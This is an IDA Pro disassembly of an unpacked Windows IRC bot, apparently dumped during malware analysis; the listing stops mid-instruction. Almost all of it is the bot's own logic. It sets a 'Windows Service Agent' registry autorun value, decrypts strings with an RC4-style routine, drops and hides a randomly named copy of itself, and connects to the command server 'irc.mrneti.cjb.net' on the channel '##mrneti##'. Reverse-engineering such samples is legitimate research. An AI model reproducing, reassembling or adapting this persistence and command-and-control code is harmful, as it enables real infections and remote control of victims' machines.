; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 81EB574A8C573413828E364611450A78 ; File Name : u:\work\81eb574a8c573413828e364611450a78_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0020F000 (2158592.) ; Section size in file : 0020F000 (2158592.) ; Offset to raw data for section: 00001000 ; Flags E00000C0: Data Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _XComp0 segment para public 'CODE' use32 assume cs:_XComp0 ;org 401000h assume es:nothing, ss:nothing, ds:_XComp0, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_4016A7+409p ; sub_41A907+1Dp ; DATA XREF: ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 jmp short loc_401012 ; --------------------------------------------------------------------------- loc_40100B: ; CODE XREF: sub_401000+83j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_401012: ; CODE XREF: sub_401000+9j cmp [ebp+var_8], 3 jnb short locret_401085 push 0 lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 mov eax, [ebp+var_8] push off_441054[eax*8] mov eax, [ebp+var_8] push dword_441050[eax*8] call dword_4E16B4 ; RegCreateKeyExA cmp [ebp+arg_0], 0 jz short loc_40106C push [ebp+arg_0] call sub_41EBD0 pop ecx push eax push [ebp+arg_0] push 1 push 0 push offset aWindowsService ; "Windows Service Agent" push [ebp+var_4] call dword_4E1724 ; RegSetValueExA jmp short loc_40107A ; --------------------------------------------------------------------------- loc_40106C: ; CODE XREF: sub_401000+49j push offset aWindowsService ; "Windows Service Agent" push [ebp+var_4] call dword_4E1664 ; RegDeleteValueA loc_40107A: ; CODE XREF: sub_401000+6Aj push [ebp+var_4] call dword_4E16DC ; RegCloseKey jmp short loc_40100B ; --------------------------------------------------------------------------- locret_401085: ; CODE XREF: sub_401000+16j leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401087 proc near ; CODE XREF: .XComp0:0040116Ep var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h or [ebp+var_C], 0FFFFFFFFh and [ebp+var_10], 0 mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+arg_0] mov [ebp+var_8], eax jmp short loc_4010B3 ; --------------------------------------------------------------------------- loc_4010AC: ; CODE XREF: sub_401087+5Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_4010B3: ; CODE XREF: sub_401087+23j mov eax, [ebp+var_4] mov ecx, [ebp+var_4] dec ecx mov [ebp+var_4], ecx test eax, eax jz short loc_4010E4 mov eax, [ebp+var_C] shr eax, 8 mov ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] mov edx, [ebp+var_C] xor edx, ecx and edx, 0FFh xor eax, dword_43E01C[edx*4] mov [ebp+var_C], eax jmp short loc_4010AC ; --------------------------------------------------------------------------- loc_4010E4: ; CODE XREF: sub_401087+38j mov eax, [ebp+var_C] not eax leave retn sub_401087 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h and dword ptr [ebp-10h], 0 push 0 call sub_41EDA0 pop ecx mov [ebp-0Ch], eax push offset dword_441068 push dword ptr [ebp+8] call sub_4213F0 pop ecx pop ecx mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz short loc_40111C xor eax, eax jmp short locret_40118D ; --------------------------------------------------------------------------- loc_40111C: ; CODE XREF: .XComp0:00401116j ; .XComp0:00401164j mov eax, [ebp-4] mov eax, [eax+0Ch] and eax, 10h test eax, eax jnz short loc_401166 mov eax, [ebp-10h] inc eax mov [ebp-10h], eax push dword ptr [ebp-10h] push dword ptr [ebp-0Ch] call sub_41F290 pop ecx pop ecx mov [ebp-0Ch], eax cmp dword ptr [ebp-0Ch], 0 jnz short loc_40114A xor eax, eax jmp short locret_40118D ; --------------------------------------------------------------------------- loc_40114A: ; CODE XREF: .XComp0:00401144j push dword ptr [ebp-4] push 1 push 1 mov eax, [ebp-10h] mov ecx, [ebp-0Ch] lea eax, [ecx+eax-1] push eax call sub_4210E0 add esp, 10h jmp short loc_40111C ; --------------------------------------------------------------------------- loc_401166: ; CODE XREF: .XComp0:00401127j mov eax, [ebp-10h] dec eax push eax push dword ptr [ebp-0Ch] call sub_401087 pop ecx pop ecx mov [ebp-8], eax push dword ptr [ebp-0Ch] call sub_41F930 pop ecx push dword ptr [ebp-4] call sub_41EC50 pop ecx mov eax, [ebp-8] locret_40118D: ; CODE XREF: .XComp0:0040111Aj ; .XComp0:00401148j leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 258h and byte ptr [ebp-148h], 0 and byte ptr [ebp-258h], 0 and dword ptr [ebp-14Ch], 0 and dword ptr [ebp-150h], 0 and dword ptr [ebp-3Ch], 0 and dword ptr [ebp-144h], 0 mov byte ptr [ebp-34h], 0Ah mov byte ptr [ebp-33h], 0Eh mov byte ptr [ebp-32h], 20h mov byte ptr [ebp-31h], 48h mov byte ptr [ebp-30h], 0Bh mov byte ptr [ebp-2Fh], 2Bh mov byte ptr [ebp-2Eh], 0Ch mov byte ptr [ebp-2Dh], 23h mov byte ptr [ebp-2Ch], 3Ah mov byte ptr [ebp-2Bh], 27h mov byte ptr [ebp-2Ah], 28h mov byte ptr [ebp-29h], 5Eh mov byte ptr [ebp-28h], 2Ah mov byte ptr [ebp-27h], 1Eh mov byte ptr [ebp-26h], 2Dh mov byte ptr [ebp-25h], 5Ah mov byte ptr [ebp-24h], 1Bh mov byte ptr [ebp-23h], 0Fh mov byte ptr [ebp-22h], 4Ch mov byte ptr [ebp-21h], 44h mov byte ptr [ebp-20h], 16h mov byte ptr [ebp-1Fh], 4 mov byte ptr [ebp-1Eh], 57h mov byte ptr [ebp-1Dh], 23h mov byte ptr [ebp-1Ch], 11h mov byte ptr [ebp-1Bh], 53h mov byte ptr [ebp-1Ah], 38h mov byte ptr [ebp-19h], 13h mov byte ptr [ebp-18h], 0Dh mov byte ptr [ebp-17h], 12h mov byte ptr [ebp-16h], 25h mov byte ptr [ebp-15h], 1Ch mov byte ptr [ebp-14h], 30h mov byte ptr [ebp-13h], 12h mov byte ptr [ebp-12h], 50h mov byte ptr [ebp-11h], 4Fh mov byte ptr [ebp-10h], 39h mov byte ptr [ebp-0Fh], 10h mov byte ptr [ebp-0Eh], 42h mov byte ptr [ebp-0Dh], 1Fh mov byte ptr [ebp-0Ch], 37h mov byte ptr [ebp-0Bh], 1Dh mov byte ptr [ebp-0Ah], 41h mov byte ptr [ebp-9], 55h mov byte ptr [ebp-8], 2Ch mov byte ptr [ebp-7], 41h mov byte ptr [ebp-6], 2Ch mov byte ptr [ebp-5], 58h and byte ptr [ebp-4], 0 loc_401283: ; DATA XREF: sub_610867+150r lea eax, [ebp-34h] push eax call sub_41EBD0 pop ecx mov [ebp-38h], eax push 101h push 0 lea eax, [ebp-140h] push eax call sub_421410 add esp, 0Ch push 101h push 0 lea eax, [ebp-254h] push eax call sub_421410 add esp, 0Ch and dword ptr [ebp-14Ch], 0 jmp short loc_4012D2 ; --------------------------------------------------------------------------- loc_4012C5: ; CODE XREF: .XComp0:004012F1j mov eax, [ebp-14Ch] inc eax mov [ebp-14Ch], eax loc_4012D2: ; CODE XREF: .XComp0:004012C3j cmp dword ptr [ebp-14Ch], 100h jnb short loc_4012F3 mov eax, [ebp-14Ch] mov cl, [ebp-14Ch] mov [ebp+eax-140h], cl jmp short loc_4012C5 ; --------------------------------------------------------------------------- loc_4012F3: ; CODE XREF: .XComp0:004012DCj cmp dword ptr [ebp+14h], 0 jz short loc_401356 and dword ptr [ebp-14Ch], 0 jmp short loc_40130F ; --------------------------------------------------------------------------- loc_401302: ; CODE XREF: .XComp0:00401352j mov eax, [ebp-14Ch] inc eax mov [ebp-14Ch], eax loc_40130F: ; CODE XREF: .XComp0:00401300j cmp dword ptr [ebp-14Ch], 100h jnb short loc_401354 mov eax, [ebp-150h] cmp eax, [ebp+14h] jnz short loc_40132D and dword ptr [ebp-150h], 0 loc_40132D: ; CODE XREF: .XComp0:00401324j mov eax, [ebp+10h] add eax, [ebp-150h] mov ecx, [ebp-14Ch] mov al, [eax] mov [ebp+ecx-254h], al mov eax, [ebp-150h] inc eax mov [ebp-150h], eax jmp short loc_401302 ; --------------------------------------------------------------------------- loc_401354: ; CODE XREF: .XComp0:00401319j jmp short loc_4013B0 ; --------------------------------------------------------------------------- loc_401356: ; CODE XREF: .XComp0:004012F7j and dword ptr [ebp-14Ch], 0 jmp short loc_40136C ; --------------------------------------------------------------------------- loc_40135F: ; CODE XREF: .XComp0:004013AEj mov eax, [ebp-14Ch] inc eax mov [ebp-14Ch], eax loc_40136C: ; CODE XREF: .XComp0:0040135Dj cmp dword ptr [ebp-14Ch], 100h jnb short loc_4013B0 mov eax, [ebp-150h] cmp eax, [ebp-38h] jnz short loc_40138A and dword ptr [ebp-150h], 0 loc_40138A: ; CODE XREF: .XComp0:00401381j mov eax, [ebp-14Ch] mov ecx, [ebp-150h] mov cl, [ebp+ecx-34h] mov [ebp+eax-254h], cl mov eax, [ebp-150h] inc eax mov [ebp-150h], eax jmp short loc_40135F ; --------------------------------------------------------------------------- loc_4013B0: ; CODE XREF: .XComp0:loc_401354j ; .XComp0:00401376j and dword ptr [ebp-150h], 0 and dword ptr [ebp-14Ch], 0 jmp short loc_4013CD ; --------------------------------------------------------------------------- loc_4013C0: ; CODE XREF: .XComp0:0040144Ej mov eax, [ebp-14Ch] inc eax mov [ebp-14Ch], eax loc_4013CD: ; CODE XREF: .XComp0:004013BEj cmp dword ptr [ebp-14Ch], 100h jnb short loc_401453 mov eax, [ebp-14Ch] movsx eax, byte ptr [ebp+eax-140h] mov ecx, [ebp-150h] add ecx, eax mov eax, [ebp-14Ch] movsx eax, byte ptr [ebp+eax-254h] add eax, ecx xor edx, edx mov ecx, 100h div ecx mov [ebp-150h], edx mov eax, [ebp-14Ch] mov al, [ebp+eax-140h] mov [ebp-148h], al mov eax, [ebp-14Ch] mov ecx, [ebp-150h] mov cl, [ebp+ecx-140h] mov [ebp+eax-140h], cl mov eax, [ebp-150h] mov cl, [ebp-148h] mov [ebp+eax-140h], cl jmp loc_4013C0 ; --------------------------------------------------------------------------- loc_401453: ; CODE XREF: .XComp0:004013D7j and dword ptr [ebp-150h], 0 mov eax, [ebp-150h] mov [ebp-14Ch], eax and dword ptr [ebp-144h], 0 jmp short loc_40147C ; --------------------------------------------------------------------------- loc_40146F: ; CODE XREF: .XComp0:00401560j mov eax, [ebp-144h] inc eax mov [ebp-144h], eax loc_40147C: ; CODE XREF: .XComp0:0040146Dj mov eax, [ebp-144h] cmp eax, [ebp+0Ch] jnb locret_401565 mov eax, [ebp-14Ch] inc eax xor edx, edx loc_401494: ; DATA XREF: .XComp0:off_44AC1Co mov ecx, 100h div ecx mov [ebp-14Ch], edx mov eax, [ebp-14Ch] movsx eax, byte ptr [ebp+eax-140h] mov ecx, [ebp-150h] add eax, ecx xor edx, edx mov ecx, 100h div ecx mov [ebp-150h], edx mov eax, [ebp-14Ch] mov al, [ebp+eax-140h] mov [ebp-148h], al mov eax, [ebp-14Ch] mov ecx, [ebp-150h] mov cl, [ebp+ecx-140h] mov [ebp+eax-140h], cl mov eax, [ebp-150h] mov cl, [ebp-148h] mov [ebp+eax-140h], cl mov eax, [ebp-14Ch] movsx eax, byte ptr [ebp+eax-140h] mov ecx, [ebp-150h] movsx ecx, byte ptr [ebp+ecx-140h] add eax, ecx xor edx, edx mov ecx, 100h div ecx mov [ebp-3Ch], edx mov eax, [ebp-3Ch] mov al, [ebp+eax-140h] mov [ebp-258h], al mov eax, [ebp+8] add eax, [ebp-144h] movsx eax, byte ptr [eax] movsx ecx, byte ptr [ebp-258h] xor eax, ecx mov ecx, [ebp+8] add ecx, [ebp-144h] mov [ecx], al jmp loc_40146F ; --------------------------------------------------------------------------- locret_401565: ; CODE XREF: .XComp0:00401485j leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401567 proc near ; DATA XREF: sub_4016A7+28o var_26C = dword ptr -26Ch var_25C = dword ptr -25Ch var_258 = dword ptr -258h var_24C = byte ptr -24Ch var_148 = dword ptr -148h var_13C = dword ptr -13Ch var_11C = dword ptr -11Ch var_118 = word ptr -118h var_104 = byte ptr -104h arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_454624 call dword_4E1798 ; closesocket call sub_40D605 loc_401584: ; DATA XREF: sub_610867+B0w call dword_4E1658 ; WSACleanup call dword_4E1658 ; WSACleanup push 64h nop call near ptr 27A0000h push 10h push 0 lea eax, [ebp+var_25C] push eax call sub_421410 add esp, 0Ch push 44h push 0 lea eax, [ebp+var_148] push eax call sub_421410 loc_4015BB: ; DATA XREF: sub_610867+F0r add esp, 0Ch mov [ebp+var_13C], offset dword_453890 mov [ebp+var_148], 44h mov [ebp+var_11C], 1 and [ebp+var_118], 0 push 104h lea eax, [ebp+var_24C] push eax call near ptr 2790B56h nop push 104h lea eax, [ebp+var_104] push eax push 0 nop call near ptr 2790000h lea eax, [ebp+var_25C] push eax lea eax, [ebp+var_148] push eax lea eax, [ebp+var_24C] push eax push 0 push 28h push 1 push 0 push 0 lea eax, [ebp+var_104] push eax push 0 call near ptr 278056Fh nop test eax, eax jz short loc_40165C push 64h call near ptr 27A0000h nop push [ebp+var_25C] nop call near ptr 27800D6h push [ebp+var_258] call near ptr 27800D6h nop loc_40165C: ; CODE XREF: sub_401567+D3j mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_453888 mov eax, [esp+26Ch+var_26C] mov large fs:0, eax add esp, 8 push 0 nop call near ptr 7C81CDDAh pop edi pop esi pop ebx leave retn sub_401567 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401682 proc near ; DATA XREF: .XComp0:00441004o push ebp mov ebp, esp call sub_40168C pop ebp retn sub_401682 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40168C proc near ; CODE XREF: sub_401682+3p push ebp mov ebp, esp push 0FFFFh push 539h call sub_41AE1B pop ecx pop ecx mov dword_4E1418, eax pop ebp retn sub_40168C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4016A7 proc near ; CODE XREF: .XComp0:00424931p var_99C = dword ptr -99Ch var_998 = dword ptr -998h var_994 = dword ptr -994h var_990 = dword ptr -990h var_984 = dword ptr -984h var_980 = byte ptr -980h var_87C = dword ptr -87Ch var_878 = dword ptr -878h var_86C = dword ptr -86Ch var_84C = dword ptr -84Ch var_848 = word ptr -848h var_834 = byte ptr -834h var_730 = dword ptr -730h var_72C = word ptr -72Ch var_59C = dword ptr -59Ch var_598 = byte ptr -598h var_498 = byte ptr -498h var_394 = byte ptr -394h var_314 = byte ptr -314h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = byte ptr -204h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 99Ch push ebx push esi push edi and [ebp+var_210], 0 and [ebp+var_20C], 0 and [ebp+var_59C], 0 and [ebp+var_730], 0 mov [ebp+var_208], offset sub_401567 push [ebp+var_208] push large dword ptr fs:0 mov large fs:0, esp call near ptr 27B0DBCh nop xor edx, edx mov ecx, 3E8h div ecx mov dword_4E141C, eax nop call near ptr 27B0DBCh push eax call sub_421AC0 pop ecx call sub_40B0C5 push 2 call dword_4E17AC ; SetErrorMode push 7530h push offset dword_4410A0 push 0 push 0 nop call near ptr 27B0712h push eax nop call near ptr 27B05C1h cmp eax, 102h jnz short loc_401745 push 1 nop call near ptr 7C81CDDAh loc_401745: ; CODE XREF: sub_4016A7+94j lea eax, [ebp+var_72C] push eax push 202h call dword_4E1670 ; WSAStartup mov [ebp+var_20C], eax cmp [ebp+var_20C], 0 jz short loc_40176D xor eax, eax jmp loc_401DE5 ; --------------------------------------------------------------------------- loc_40176D: ; CODE XREF: sub_4016A7+BDj movzx eax, [ebp+var_72C] and eax, 0FFh movzx eax, al cmp eax, 2 jnz short loc_401793 movzx eax, [ebp+var_72C] shr eax, 8 movzx eax, al cmp eax, 2 jz short loc_4017A0 loc_401793: ; CODE XREF: sub_4016A7+D8j call dword_4E1658 ; WSACleanup xor eax, eax jmp loc_401DE5 ; --------------------------------------------------------------------------- loc_4017A0: ; CODE XREF: sub_4016A7+EAj push 104h lea eax, [ebp+var_498] push eax nop call near ptr 2790B56h push 104h lea eax, [ebp+var_314] push eax push 0 call near ptr 27B03C5h nop push eax call near ptr 2790000h nop lea eax, [ebp+var_598] push eax lea eax, [ebp+var_204] push eax push 0 push 0 lea eax, [ebp+var_314] push eax call sub_421C90 add esp, 14h lea eax, [ebp+var_598] push eax lea eax, [ebp+var_204] push eax push offset aSS_6 ; "%s%s" push 104h lea eax, [ebp+var_104] push eax call sub_421B90 add esp, 14h lea eax, [ebp+var_498] push eax lea eax, [ebp+var_314] push eax call sub_421B10 pop ecx pop ecx test eax, eax jnz loc_401A3C cmp dword_4E1588, 0 jz short loc_401883 and [ebp+var_210], 0 jmp short loc_401851 ; --------------------------------------------------------------------------- loc_401844: ; CODE XREF: sub_4016A7+1DAj mov eax, [ebp+var_210] inc eax mov [ebp+var_210], eax loc_401851: ; CODE XREF: sub_4016A7+19Bj push offset byte_4410E8 call sub_41EBD0 pop ecx sub eax, 4 cmp [ebp+var_210], eax jnb short loc_401883 call sub_421AD0 cdq push 1Ah pop ecx idiv ecx add edx, 61h mov eax, [ebp+var_210] mov byte_4410E8[eax], dl jmp short loc_401844 ; --------------------------------------------------------------------------- loc_401883: ; CODE XREF: sub_4016A7+192j ; sub_4016A7+1BEj push offset byte_4410E8 lea eax, [ebp+var_498] push eax push offset aSS_7 ; "%s\\%s" lea eax, [ebp+var_980] push eax call sub_4219C0 add esp, 10h lea eax, [ebp+var_980] push eax nop call near ptr 27B01D1h cmp eax, 0FFFFFFFFh jz short loc_4018C7 push 80h lea eax, [ebp+var_980] push eax nop call near ptr 27B0000h loc_4018C7: ; CODE XREF: sub_4016A7+20Cj and [ebp+var_87C], 0 loc_4018CE: ; CODE XREF: sub_4016A7:loc_401928j push 0 lea eax, [ebp+var_980] push eax lea eax, [ebp+var_314] push eax nop loc_4018DF: ; DATA XREF: .XComp:00610B8Co call near ptr 27A0B00h test eax, eax jnz short loc_40192A nop call near ptr 27A0A66h mov [ebp+var_998], eax cmp [ebp+var_87C], 0 jnz short loc_401926 cmp [ebp+var_998], 20h jz short loc_40190F cmp [ebp+var_998], 5 jnz short loc_401926 loc_40190F: ; CODE XREF: sub_4016A7+25Dj mov [ebp+var_87C], 1 push 3A98h nop call near ptr 27A0000h jmp short loc_401928 ; --------------------------------------------------------------------------- loc_401926: ; CODE XREF: sub_4016A7+254j ; sub_4016A7+266j jmp short loc_40192A ; --------------------------------------------------------------------------- loc_401928: ; CODE XREF: sub_4016A7+27Dj jmp short loc_4018CE ; --------------------------------------------------------------------------- loc_40192A: ; CODE XREF: sub_4016A7+23Fj ; sub_4016A7:loc_401926j lea eax, [ebp+var_980] push eax call sub_41A75B pop ecx push 7 lea eax, [ebp+var_980] push eax nop call near ptr 27B0000h push 10h push 0 lea eax, [ebp+var_994] push eax call sub_421410 add esp, 0Ch push 44h push 0 lea eax, [ebp+var_878] push eax call sub_421410 add esp, 0Ch mov [ebp+var_86C], offset dword_4E15AC mov [ebp+var_878], 44h mov [ebp+var_84C], 1 and [ebp+var_848], 0 nop call near ptr 27A0A42h push eax push 1 push 100000h nop call near ptr 27A0512h mov [ebp+var_984], eax lea eax, [ebp+var_314] push eax push [ebp+var_984] lea eax, [ebp+var_980] push eax push offset aSDS_0 ; "%s %d \"%s\"" lea eax, [ebp+var_834] push eax call sub_4219C0 add esp, 14h lea eax, [ebp+var_994] push eax lea eax, [ebp+var_878] push eax lea eax, [ebp+var_498] push eax push 0 push 28h push 1 push 0 push 0 lea eax, [ebp+var_834] push eax lea eax, [ebp+var_980] push eax nop call near ptr 278056Fh test eax, eax jz short loc_401A3C push 0C8h call near ptr 27A0000h nop push [ebp+var_994] nop call near ptr 27800D6h push [ebp+var_990] call near ptr 27800D6h nop call dword_4E1658 ; WSACleanup push 0 nop call near ptr 7C81CDDAh loc_401A3C: ; CODE XREF: sub_4016A7+185j ; sub_4016A7+362j cmp dword_4E9208, 2 jle short loc_401A97 mov eax, dword_4E920C push dword ptr [eax+4] call sub_421670 pop ecx mov [ebp+var_99C], eax push 0FFFFFFFFh push [ebp+var_99C] nop call near ptr 27B05C1h push [ebp+var_99C] nop call near ptr 27800D6h mov eax, dword_4E920C cmp dword ptr [eax+8], 0 jz short loc_401A97 push 7D0h nop call near ptr 27A0000h mov eax, dword_4E920C push dword ptr [eax+8] nop call near ptr 27A0334h loc_401A97: ; CODE XREF: sub_4016A7+39Cj ; sub_4016A7+3D5j cmp dword_44108C, 0 jz short loc_401AB6 cmp dword_4E17D0, 0 jnz short loc_401AB6 lea eax, [ebp+var_104] push eax call sub_401000 pop ecx loc_401AB6: ; CODE XREF: sub_4016A7+3F7j ; sub_4016A7+400j push offset dword_441A74 lea eax, [ebp+var_394] push eax call sub_4219C0 pop ecx pop ecx push 0 push 0 lea eax, [ebp+var_394] push eax call sub_40D32A add esp, 0Ch lea eax, [ebp+var_394] push eax call sub_4173DC pop ecx push 0B80h push 0 push offset byte_453898 call sub_421410 add esp, 0Ch push offset unk_441A90 lea eax, [ebp+var_394] push eax call sub_4219C0 pop ecx pop ecx push 0 push 1 lea eax, [ebp+var_394] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_210], eax lea eax, [ebp+var_59C] push eax push 0 push 0 push offset word_41D1D6 push 0 push 0 nop call near ptr 27A0169h mov ecx, [ebp+var_210] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_210] imul eax, 234h cmp dword_45462C[eax], 0 jnz short loc_401B85 nop call near ptr 27A0A66h push eax push offset unk_441AB4 lea eax, [ebp+var_394] push eax call sub_4219C0 add esp, 0Ch loc_401B85: ; CODE XREF: sub_4016A7+4C1j lea eax, [ebp+var_394] push eax call sub_4173DC pop ecx push 2 call sub_40D6D9 pop ecx test eax, eax jnz loc_401C3B push offset dword_441AF4 lea eax, [ebp+var_394] push eax call sub_4219C0 pop ecx pop ecx push 0 push 2 lea eax, [ebp+var_394] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_210], eax lea eax, [ebp+var_59C] push eax push 0 push [ebp+var_210] push offset sub_415BB9 push 0 push 0 nop call near ptr 27A0169h mov ecx, [ebp+var_210] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_210] imul eax, 234h cmp dword_45462C[eax], 0 jnz short loc_401C2E call near ptr 27A0A66h nop push eax push offset dword_441B20 lea eax, [ebp+var_394] push eax call sub_4219C0 add esp, 0Ch loc_401C2E: ; CODE XREF: sub_4016A7+56Aj lea eax, [ebp+var_394] push eax call sub_4173DC pop ecx loc_401C3B: ; CODE XREF: sub_4016A7+4F5j call sub_421AD0 xor edx, edx push 4 pop ecx div ecx mov dword_4E15A4, edx push 7Fh push offset aIrc_mrneti_cjb ; "irc.mrneti.cjb.net" push offset dword_4E1424 call sub_421470 add esp, 0Ch mov eax, dword_44106C mov dword_4E1574, eax push 3Fh push offset aMrneti ; "##mrneti##" push offset dword_4E14A4 call sub_421470 add esp, 0Ch push 3Fh push offset dword_4E1590 push offset dword_4E14E4 call sub_421470 add esp, 0Ch and dword_4E1578, 0 loc_401C9A: ; CODE XREF: sub_4016A7:loc_401DD3j push 1 pop eax test eax, eax jz loc_401DD8 and [ebp+var_210], 0 jmp short loc_401CBB ; --------------------------------------------------------------------------- loc_401CAE: ; CODE XREF: sub_4016A7+660j mov eax, [ebp+var_210] inc eax mov [ebp+var_210], eax loc_401CBB: ; CODE XREF: sub_4016A7+605j cmp [ebp+var_210], 6 jge short loc_401D09 and dword_4E15A0, 0 push offset dword_4E1420 call sub_401DEC mov [ebp+var_20C], eax cmp [ebp+var_20C], 2 jnz short loc_401CE6 jmp short loc_401D09 ; --------------------------------------------------------------------------- loc_401CE6: ; CODE XREF: sub_4016A7+63Bj cmp dword_4E15A0, 0 jz short loc_401CFC mov eax, [ebp+var_210] dec eax mov [ebp+var_210], eax loc_401CFC: ; CODE XREF: sub_4016A7+646j push 0BB8h nop call near ptr 27A0000h jmp short loc_401CAE ; --------------------------------------------------------------------------- loc_401D09: ; CODE XREF: sub_4016A7+61Bj ; sub_4016A7+63Dj cmp [ebp+var_20C], 2 jnz short loc_401D17 jmp loc_401DD8 ; --------------------------------------------------------------------------- loc_401D17: ; CODE XREF: sub_4016A7+669j cmp [ebp+var_730], 0 jz short loc_401D6F push 7Fh push offset aIrc_mrneti_cjb ; "irc.mrneti.cjb.net" push offset dword_4E1424 call sub_421470 add esp, 0Ch mov eax, dword_44106C mov dword_4E1574, eax push 3Fh push offset aMrneti ; "##mrneti##" push offset dword_4E14A4 call sub_421470 add esp, 0Ch push 3Fh push offset dword_4E1590 push offset dword_4E14E4 call sub_421470 add esp, 0Ch and [ebp+var_730], 0 jmp short loc_401DD3 ; --------------------------------------------------------------------------- loc_401D6F: ; CODE XREF: sub_4016A7+677j cmp [ebp+var_730], 0 jnz short loc_401DD3 movsx eax, byte_4E1594 test eax, eax jz short loc_401DD3 push 7Fh push offset byte_4E1594 push offset dword_4E1424 call sub_421470 add esp, 0Ch mov eax, dword_441070 mov dword_4E1574, eax push 3Fh push offset dword_4E1598 push offset dword_4E14A4 call sub_421470 add esp, 0Ch push 3Fh push offset dword_4E159C push offset dword_4E14E4 call sub_421470 add esp, 0Ch mov [ebp+var_730], 1 loc_401DD3: ; CODE XREF: sub_4016A7+6C6j ; sub_4016A7+6CFj ... jmp loc_401C9A ; --------------------------------------------------------------------------- loc_401DD8: ; CODE XREF: sub_4016A7+5F8j ; sub_4016A7+66Bj call sub_40D605 call dword_4E1658 ; WSACleanup xor eax, eax loc_401DE5: ; CODE XREF: sub_4016A7+C1j ; sub_4016A7+F4j pop edi pop esi pop ebx leave retn 10h sub_4016A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401DEC proc near ; CODE XREF: sub_4016A7+629p ; DATA XREF: sub_4021E5+7361o var_1A0 = dword ptr -1A0h var_19C = dword ptr -19Ch var_198 = word ptr -198h var_196 = word ptr -196h var_194 = dword ptr -194h var_188 = byte ptr -188h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = byte ptr -0E4h var_A4 = byte ptr -0A4h var_64 = byte ptr -64h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A0h push esi push edi mov esi, [ebp+arg_0] push 59h pop ecx lea edi, [ebp+var_168] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov dword ptr [eax+160h], 1 loc_401E18: ; CODE XREF: sub_401DEC+138j ; sub_401DEC+1A1j ... push 1 pop eax test eax, eax jz loc_401FBB push 10h push 0 lea eax, [ebp+var_198] push eax call sub_421410 add esp, 0Ch mov [ebp+var_198], 2 push [ebp+var_14] call dword_4E1700 ; ntohs mov [ebp+var_196], ax lea eax, [ebp+var_164] push eax call sub_40C670 pop ecx mov [ebp+var_194], eax cmp [ebp+var_194], 0 jnz short loc_401E72 xor eax, eax jmp loc_401FCA ; --------------------------------------------------------------------------- loc_401E72: ; CODE XREF: sub_401DEC+7Dj push 1Ch push 0 lea eax, [ebp+var_188] push eax call sub_421410 add esp, 0Ch push 0 push dword_44109C push dword_441098 lea eax, [ebp+var_188] push eax call sub_40CE78 add esp, 10h mov [ebp+var_19C], eax push 1Bh push [ebp+var_19C] mov eax, [ebp+var_C] imul eax, 234h add eax, offset byte_454630 push eax call sub_421470 add esp, 0Ch push 6 push 1 push 2 call dword_4E1780 ; socket mov [ebp+var_1A0], eax mov eax, [ebp+var_C] imul eax, 234h mov ecx, [ebp+var_1A0] mov dword_454624[eax], ecx push 10h lea eax, [ebp+var_198] push eax push [ebp+var_1A0] call dword_4E16A8 ; connect cmp eax, 0FFFFFFFFh jnz short loc_401F29 push [ebp+var_1A0] call dword_4E1798 ; closesocket call sub_40C6B0 push 7D0h nop call near ptr 27A0000h jmp loc_401E18 ; --------------------------------------------------------------------------- loc_401F29: ; CODE XREF: sub_401DEC+11Aj lea eax, [ebp+var_164] push eax push offset unk_441B54 call sub_417472 pop ecx pop ecx push [ebp+var_10] lea eax, [ebp+var_164] push eax lea eax, [ebp+var_64] push eax push [ebp+var_168] push [ebp+var_19C] lea eax, [ebp+var_A4] push eax lea eax, 